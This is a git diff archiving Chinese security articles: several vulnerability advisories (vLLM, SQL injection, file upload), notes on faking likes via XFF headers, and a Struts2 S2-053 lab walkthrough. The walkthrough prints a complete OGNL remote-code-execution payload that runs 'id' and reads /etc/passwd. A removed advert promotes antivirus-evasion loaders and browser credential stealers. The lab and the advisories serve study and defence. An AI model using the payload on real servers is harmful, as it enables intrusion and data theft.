"") + +调用getIpAddr方法通过XFF等字段获取IP + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMnuNPhgmvpibVNuy4kfVAOUz2wia1RKlLoWEwnTWM3OiadiarWWstq2BEYw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOM8m5kL1NqBdZLe3uqQuaht7giclU4qPB2Wt4h6lJUWGW3sFzKPWAaU4g/640?wx_fmt=png&from=appmsg "") + +调用checkLove方法通过查询保存在数据库中的XFF记录进行校验。如果已存在XFF记录，则响应“您已赞过了哦~”；如果不存在XFF记录，则执行正常的点赞处理逻辑。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMG5kFnZLrgv8uicVM17ZCoyuV3OG1Ohds9lNvGfzZIu1ozBdb36VL4CA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMPeuNsPpSTicNKH6IoZOwYyH6lLicQBYnONz4yXia8b43TA8ZLWmiao82mg/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOMYxq7c1BqTypC5CnRJVP44qrBfKqEZLWuB1nTs7wJbtnNClgBoMjzzQ/640?wx_fmt=png&from=appmsg "") + +数据库查询 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/fo3OZEF1OKraxVKF8k8ugiaF1pYuEficOM9ROibubCEZtTibP0Alnf3pvLVWZiahMQbJn8kUqT1HJmDjdlBicSQbP3Yg/640?wx_fmt=png&from=appmsg "") + +由于防护策略存在缺陷，这里只需要修改XFF字段的值即可实现刷赞！ + + +0x03 防御策略 + +针对点赞漏洞，可采取以下防御措施： + +1.  +服务端强制身份认证，仅允许合法登录用户操作； + +2.  +基于用户唯一标识与业务对象建立点赞唯一约束，防止重复点赞； + +3.  +用户身份从登录态获取，避免参数篡改导致水平越权； + +4.  +引入接口频率限制，防止自动化刷赞； + +5.  +基于点赞状态机进行合法性校验，避免逻辑刷赞； + + +如果想要及时了解更多内容，请关注  +破阵攻防实验室 +  +微信公众号！ + + + + diff --git a/doc/2026-01/漏洞预警 vLLM远程代码执行漏洞.md b/doc/2026-01/漏洞预警 vLLM远程代码执行漏洞.md new file mode 100644 index 00000000..b267c6cf --- /dev/null +++ b/doc/2026-01/漏洞预警 vLLM远程代码执行漏洞.md @@ -0,0 +1,48 @@ +# 漏洞预警 | vLLM远程代码执行漏洞 +浅安 + 浅安 浅安安全 2026-01-28 23:50 + +**0x00 漏洞编号** +- # CVE-2026-22807 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +vLLM是一个高性能的大模型推理框架，专为大规模语言模型的高吞吐量、低延迟部署而设计。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SW9BialdxKvN1AlcuDRdaLCe2sca1VJ7fwzmrhyCfwW38V19sDxZvb6koPyUBGV4ykqrKucZrRwSMg/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=0 "") + +**0x03 漏洞详情** +### + +**CVE-2026-22807** + +**漏洞类型：** +代码执行 + +**影响：** +执行任意代码 + + + +**简述：** +v +LLM存在远程代码执行漏洞，由于其在解析模型配置时，无条件加载Hugging Face模型中的auto_map动态模块，且未对trust_remote_code选项进行有效校验。攻击者一旦能够控制模型仓库路径，即可在模型加载过程中注入并执行任意Python代码。 + +**0x04 影响版本** +- 0.10.1 <= vLLM < 0.14.0 + +**0x05****POC状态** +- 未公开 + +**** +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +https://github.com/vllm-project/vllm + + + diff --git a/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md b/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md index 0423e4c7..932ff560 100644 --- a/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md +++ b/doc/2026-01/漏洞预警 孚盟云SQL注入漏洞.md @@ -1,6 +1,6 @@ # 漏洞预警 | 孚盟云SQL注入漏洞 浅安 - 浅安 浅安安全 2026-01-28 00:01 + 浅安 浅安安全 2026-01-28 23:50 **0x00 漏洞编号** - # 暂无 @@ -24,9 +24,7 @@ SQL注入 窃取敏感信息 **简述：** -孚盟云的/m/Dingding/Ajax/AjaxCustomerInfoAtion.ashx和 -/m/Dingding/Ajax/AjaxCustomerList.ashx -接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。 +孚盟云的/m/Dingding/Ajax/AjaxMailSetup.ashx接口存在SQL注入漏洞，未经验证的攻击者可通过该漏洞获取数据库敏感信息。 **0x04 影响版本** - 孚盟云 diff --git a/doc/2026-01/漏洞预警 英赛特互联网客户服务平台SQL注入漏洞.md b/doc/2026-01/漏洞预警 英赛特互联网客户服务平台SQL注入漏洞.md new file mode 100644 index 00000000..1024fe0e --- /dev/null +++ b/doc/2026-01/漏洞预警 英赛特互联网客户服务平台SQL注入漏洞.md @@ -0,0 +1,42 @@ +# 漏洞预警 | 英赛特互联网客户服务平台SQL注入漏洞 +浅安 + 浅安 浅安安全 2026-01-28 23:50 + +**0x00 漏洞编号** +- # 暂无 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +英赛特互联网客户服务平台是一套面向企业客户服务的在线管理系统，提供客户咨询、工单处理、服务跟踪、知识库查询等功能，支持多渠道接入与高效服务响应，广泛应用于金融、电信、制造等行业。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SX3cS10b2cf8361nD7jcY7EXNNiaTvb5cdfLNtCrxvNnSp6Fic7bzvujTubvBGJBiamPbQYadibSYjVHw/640?wx_fmt=png&from=appmsg "") + +**0x03 漏洞详情** +### + +**漏洞类型：** +SQL注入 + +**影响：** +窃取敏感信息 + +**简述：** +英赛特互联网客户服务平台的/csccmise/shrz.asp接口存在SQL注入漏洞，未经身份验证的攻击者可以通过该漏洞获取数据库敏感信息。 + +**0x04 影响版本** +- 英赛特互联网客户服务平台 + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户升级到安全版本****：** + +http://www.nbwldh.com/ + + + diff --git a/doc/2026-01/网安实验干货每日分享S2-053远程代码执行漏洞-0129.md b/doc/2026-01/网安实验干货每日分享S2-053远程代码执行漏洞-0129.md new file mode 100644 index 00000000..a43711d5 --- /dev/null +++ b/doc/2026-01/网安实验干货每日分享S2-053远程代码执行漏洞-0129.md @@ -0,0 +1,136 @@ +# 网安实验干货每日分享S2-053远程代码执行漏洞-0129 +原创 建哥聊安全 + 建哥聊安全 建哥聊安全 2026-01-29 01:40 + +# S2-053远程代码执行漏洞 +## 实验目的 + +通过本实验，掌握 +S2-053远程代码执行漏洞的攻击方法和防御措施。 +## 实验环境 + +· +操作机： +Win10 + +用户名： +Administrator + +密码： +Sangfor!7890 + +· +靶机： +Ubuntu + docker + +用户名： +root + +密码： +Sangfor!7890 + +· +实验地址： +http://靶机ip:8080/hello.action +## 实验原理 + +继 +S2-052之后，Apache Struts 2再次被曝存在远程代码执行漏洞，漏洞编号S2-053，CVE编号CVE-2017-1000112。 + +影响版本 +:Struts 2.0.1、Struts 2.3.33、Struts 2.5 – Struts 2.5.10 + +当开发者在 +Freemarker标签中使用如下代码时，Freemarker会将值当作表达式进行执行（Struts2在使用Freemarker模板引擎的时候，同时允许解析OGNL表达式。导致用户输入的数据本身不会被OGNL解析，但由于被Freemarker解析一次后变成一个表达式，被OGNL解析第二次），最后导致远程代码执行。 +## 实验步骤 +### 第一步启动目标靶机的环境 + +1、登陆"S2-053"靶机，执行如下命令，进入目标环境所在目录 + +cd /vulhub-master + +cd struts2 + +cd s2-053 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaNYxGUHzjZYF0wTfcicvXlqwN9WI1LsEu76fia01MAKK66r1egQEHAvhBqhTpYWE9oqoQIO1Njt4WPw/640?wx_fmt=png&from=appmsg "") + + 2、执行以下命令，运行目标靶机的环境 + +docker-compose up -d + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaNYxGUHzjZYF0wTfcicvXlqwQDm6effxLNExr7D0ia1gCX0cnUH9SCVDueo1qDbxRl3TWxJpx0xlQgA/640?wx_fmt=png&from=appmsg "") + +3、登录“Attack”操作机，打开浏览器，访问http://靶机ip:8080，看到页面正显示，说明靶机环境启动成功 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaNYxGUHzjZYF0wTfcicvXlqwc1OicBpdQmDPYtqd9ia56gyL5O6hIMyHfjS3hibMicYOibmnTuXAXINLxow/640?wx_fmt=png&from=appmsg "") + +第二步漏洞复现 + +4、通过“Attack”操作机的浏览器访问http://靶机ip:8080/hello.action，可以看到一个提交页面 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaNYxGUHzjZYF0wTfcicvXlqwbcydPic0NFC8BA3TLVeSvibuSgSibokZf17F2Ij9JwLvbJ84icaDfIMnyw/640?wx_fmt=png&from=appmsg "") + +5、在此页面下输入payload即可执行命令 + +%{([#dm]() +=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=[#dm]() +):(([#container]() +=[#context]() +['com.opensymphony.xwork2.ActionContext.container']).([#ognlUtil]() +=[#container]() +.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).([#ognlUtil]() +.getExcludedPackageNames().clear()).([#ognlUtil]() +.getExcludedClasses().clear()).([#context]() +.setMemberAccess([#dm]() +)))).([#cmd]() +='id').([#iswin]() +=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).([#cmds]() +=([#iswin]() +?{'cmd.exe','/c',[#cmd]() +}:{'/bin/bash','-c',[#cmd]() +})).([#p]() +=new java.lang.ProcessBuilder([#cmds]() +)).([#p]() +.redirectErrorStream(true)).([#process]() +=[#p]() +.start()).(@org.apache.commons.io.IOUtils@toString([#process]() +.getInputStream()))} + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaNYxGUHzjZYF0wTfcicvXlqwatuJdXwrB09pz3IWw3qYqicFMz0lKPm7kZbXSy9Dh9DwdtvO6nbqJNQ/640?wx_fmt=png&from=appmsg "") + + 6、将上一步所用POC代码中的“id”处修改为“cat /etc/passwd”，即： + +%{([#dm]() +=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=[#dm]() +):(([#container]() +=[#context]() +['com.opensymphony.xwork2.ActionContext.container']).([#ognlUtil]() +=[#container]() +.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).([#ognlUtil]() +.getExcludedPackageNames().clear()).([#ognlUtil]() +.getExcludedClasses().clear()).([#context]() +.setMemberAccess([#dm]() +)))).([#cmd]() +='cat /etc/passwd').([#iswin]() +=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).([#cmds]() +=([#iswin]() +?{'cmd.exe','/c',[#cmd]() +}:{'/bin/bash','-c',[#cmd]() +})).([#p]() +=new java.lang.ProcessBuilder([#cmds]() +)).([#p]() +.redirectErrorStream(true)).([#process]() +=[#p]() +.start()).(@org.apache.commons.io.IOUtils@toString([#process]() +.getInputStream()))} + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/Yxh0GAibwTaNYxGUHzjZYF0wTfcicvXlqwzbRlNK4ssoDNGKxZzXPjTxtAejDgpp1UnfalZhWhdzTMBdWfvk5H1g/640?wx_fmt=png&from=appmsg "") + + 注意：上述 +Payload末尾的换行不能少（也就是说payload后面必须跟一个换行） +## 实验总结 + +通过本实验，成功实现了命令执行，通过该漏洞可以执行系统命令，加深对 +Struts2框架的利用和防御。 + diff --git a/doc/2026-01/自动化代码审计，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出.md b/doc/2026-01/自动化代码审计，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出.md index 7f41c426..01b23914 100644 --- a/doc/2026-01/自动化代码审计，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出.md +++ b/doc/2026-01/自动化代码审计，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出.md @@ -1,98 +1,68 @@ # 自动化代码审计，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出 -星夜AI安全 - 星夜AI安全 星夜AI安全 2026-01-28 05:49 + 黑白之道 2026-01-29 01:18 -📌各位可以将公众号设为星标⭐ +![](https://mmbiz.qpic.cn/mmbiz_gif/3xxicXNlTXLicwgPqvK8QgwnCr09iaSllrsXJLMkThiaHibEntZKkJiaicEd4ibWQxyn3gtAWbyGqtHVb0qqsHFC9jW3oQ/640?wx_fmt=gif "") -📌这样就不会错过每期的推荐内容啦~ - -📌这对我真的很重要！ - -![image](https://mmbiz.qpic.cn/mmbiz_png/SffY5ZO3R2lAVT6CicZmYO3GGZre7KEwxiaouHrUbg3rQ0UUVhEI7eDxct12pq4ITqI98fcU1rsJXlHib3VF1n4ew/640?wx_fmt=png&from=appmsg "image") - -📌1. 本平台分享的安全知识和工具信息源于公开资料及专业交流，仅供个人学习提升安全意识、了解防护手段，禁止用于任何违法活动，否则使用者自行承担法律后果。 - -📌2. 所分享内容及工具虽具普遍性，但因场景、版本、系统等因素，无法保证完全适用，使用者要自行承担知识运用不当、工具使用故障带来的损失。 - -📌3. 使用者在学习操作过程中务必遵守法规道德，面对有风险环节需谨慎预估后果、做好防护，若未谨慎操作引发信息泄露、设备损坏等不良后果，责任自负。 ## 工具介绍 -这是一个基于大语言模型（LLM）的多智能体全流程漏洞挖掘项目。它支持搭建PHP、Java、Python、Go、Node.js等多种语言项目的环境，并涵盖漏洞分析、漏洞验证及报告生成等环节。通过支持多智能体并发，能够高效完成漏洞挖掘任务。 +一个基于LLM的多Agent全流程漏洞挖掘项目，支持PHP、Java、Python、Go、Node.js等多种语言项目环境搭建、漏洞分析、漏洞验证、报告产出。支持多Agent并发高效率完成漏洞挖掘任务。 -这是一个AI驱动的代码安全审计平台前端。用户可上传源代码压缩包，后端将启动Docker容器进行漏洞分析，分析结果会通过WebSocket实时回传。 +AI 驱动的代码安全审计平台前端。用户上传源代码压缩包，后端启动 Docker 容器进行漏洞分析，结果通过 WebSocket 实时回传。 ## 功能特性 - 📦 **源码上传** - - 支持上传 .zip - 或 .tar.gz - 格式文件，最大体积为500MB。 + - 支持 .zip + / .tar.gz + 格式，最大 500MB - 🔍 **漏洞扫描** - - 采用AI技术进行自动化的代码安全分析。 + - AI 驱动的自动化代码安全分析 - 📡 **实时反馈** - - 通过WebSocket实时推送扫描进度和结果。 + - WebSocket 实时推送扫描进度和结果 - 🐳 **容器管理** - - 可查看审计容器的运行状态。 + - 查看审计容器运行状态 - 📊 **报告生成** - - 自动生成Markdown格式的审计报告。 + - 自动生成 Markdown 格式审计报告 - 🌙 **赛博主题** - - 采用深色科技风格的界面设计。 + - 深色科技风界面设计 ## 截图预览 - 首页 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRpRgZPuQbSPydoBQWWdaPCNcZPxHyqQMtdM5NqnmQMc1D53qRcYPCMQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNR7xetpFLKCrS22piaayTNNgvMz3Eu09FgIsmG1nrEU6iahmsXZg82CiaiaQ/640?wx_fmt=png&from=appmsg&watermark=1 "") - 项目详情 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRK9B4qc4tkN1f5Txpxv978wfcwdjYILReZDajFOzbiaV3FicXxj8oa3jA/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRbZ8BLXfGddCju0vT53m74rBAj5oEtichedwqGxaGf6UOXtV2GXNeScQ/640?wx_fmt=png&from=appmsg&watermark=1 "") - 漏洞报告列表 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRVKaG6hHibCEQHqQ60A45LKZnuBRicdthxsxbATazaEAZFHXoQficVWzsQ/640?wx_fmt=png&from=appmsg "") +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNR6XlSESx06g3yy3lV1oXnGPotWb5G8ccBIcYMjuEeosMmB9NczeJH0g/640?wx_fmt=png&from=appmsg&watermark=1 "") - 在线预览报告 -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRv6tf8Mb6LBU0gAxAUMib3Ia5ABUyYSQRKTPRx4Tz2DqicuaialYSyEHCQ/640?wx_fmt=png&from=appmsg "") -- 自动编写POC并验证漏洞真实性 +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRBJ0nWG4mWQs3iaxzW0GyFlVDLicET6LKyhc9hXFicOJiawDpd68YaKMQtw/640?wx_fmt=png&from=appmsg&watermark=1 "") +- 自动编写 POC 并验证漏洞真实性 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNR90zFyOg5yiaNT7uUlwibRcr7hSfuibe3PDwjM703xFXP5qOYiahW4jp5dQ/640?wx_fmt=png&from=appmsg&watermark=1 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNRldwLHyIUrsklrDDJNEl2IGfyu9pFOR3vbYcja4QlGoD2YSODPop8fg/640?wx_fmt=png&from=appmsg&watermark=1 "") + -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNR6kLlgVLdzUITK63Fj9g2b6NbfjAdpfdptDiaRuHNbtibicoufoaqMtiaVw/640?wx_fmt=png&from=appmsg "") -![](https://mmbiz.qpic.cn/sz_mmbiz_png/icZ1W9s2Jp2WDFYQ9XCT4SvqHzfJFnGNR5WicScM8ibz4eTlFV9BXZXqRZtLzG37bOyOV3Hn0RQ77sia4QibH7BXfiaA/640?wx_fmt=png&from=appmsg "") ## 工具获取 -关注微信公众号后台回复“**20260128** - ”，即可获取项目下载地址 -关注微信公众号后台回复**入群** - 即可加入星夜AI安全交流群 -## 圈子介绍 +https://github.com/qqliushiyu/AIxVuln_Web -现任职于某头部网络安全企业攻防研究部，核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练，精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中，主导突破多个高防护目标网络，曾获“最佳攻击手”“突出贡献个人”等荣誉。 - -已产出的安全工具及成果包括： -- 多款主流杀软通杀工具（兼容卡巴斯基、诺顿、瑞星、360等终端防护，无感知运行，突破多引擎联合检测） - -- XXByPassBehinder v1.1 冰蝎免杀生成器（定制化冰蝎免杀工具，绕过主流终端防护与EDR动态检测，支持自定义载荷） - -- 哥斯拉二开免杀定制版（二开优化，深度免杀，突破终端防护与EDR检测，适配多场景植入） - -- NeoCS4.9终极版（高级免杀加载工具，强化载荷注入与进程劫持，适配多系统版本，无兼容问题） - -- WinDump_免杀版（浏览器凭证窃取工具，支持Chrome/Edge/Firefox等主流浏览器，一键提取敏感数据，免杀过防护）_ - -- _DumpBrowser_V1_免杀版（浏览器凭证窃取工具，专攻浏览器密码、Cookie、历史记录提取，免杀性能拉满） - -- fscan二开版（二开优化内网扫描工具，增强指纹精度、弱口令爆破与结果标准化输出，适配复杂内网） - -- RingQ加载器二开版（二开优化免杀加载器，支持Shellcode内存执行，绕过各类终端防护与EDR检测） - -- 多款免杀Webshell集合（覆盖PHP/JSP/ASPX，过主流WAF与终端防护，适配不同Web场景） - -- 免杀360专属加载器（支持Shellcode内存执行，针对性绕过360全系防护检测，无感知运行） - -- 一键kill360 火绒 defender工具 - -后续将不断更新到内部圈子中 欢迎加入圈子 ![image](https://mmbiz.qpic.cn/mmbiz_png/SffY5ZO3R2kTp5BpCMb901r34Qsxiar69niau36nIE6q7fMIIrylRMNSb6PiaetIQDU7cCBCDnFibeQTPWeArDO9tA/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=5 "image") -![image](https://mmbiz.qpic.cn/mmbiz_png/SffY5ZO3R2kTp5BpCMb901r34Qsxiar69aBRExZP9U4yAnhfoP9wABkmc0DCYs7NTyicvYcBaqLxVxfAJoicMyWGQ/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=6 "image") +> **文章来源：夜组安全** + + + +黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途及盈利等目的，否则后果自行承担！ + +如侵权请私聊我们删文 + + +**END** diff --git a/doc/2026-01/锐明技术Crocus系统 Upload存在任意文件上传漏洞.md b/doc/2026-01/锐明技术Crocus系统 Upload存在任意文件上传漏洞.md new file mode 100644 index 00000000..feb2a9c7 --- /dev/null +++ b/doc/2026-01/锐明技术Crocus系统 Upload存在任意文件上传漏洞.md @@ -0,0 +1,47 @@ +# 锐明技术Crocus系统 Upload存在任意文件上传漏洞 +原创 aaa + aaa Anonymous安全实验室 2026-01-29 00:28 + +**>** +**>** +**>** +**>** + +**影响组件** + +锐明技术Crocus系统 + +**>** +**>** +**>** +**>** + +**漏洞描述** + +锐明技术Crocus系统的Upload功能存在任意文件上传漏洞，由于未对上传文件的类型、内容及路径进行严格校验，攻击者可上传恶意文件至服务器，结合路径拼接缺陷实现目录穿越，最终可能导致远程代码执行（RCE）或服务器被控制。 + +**>** +**>** +**>** +**>** + +**修复建议** + +安装长亭雷池拦截，及时升级至最新版本。 + +**>** +**>** +**>** +**>** + +巡 +星 +平台 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/9qJOKPPF51Q3AVa9qf0L1N5lMxYWbV4oYPClibhod9LlpH1jTy0E21iaxMd02VF78yJhFuU22yib0KU6BWKddfntg/640?wx_fmt=png&from=appmsg "") + + +平台使用说明： +https://ruisika.github.io/xunxing/intro/ + +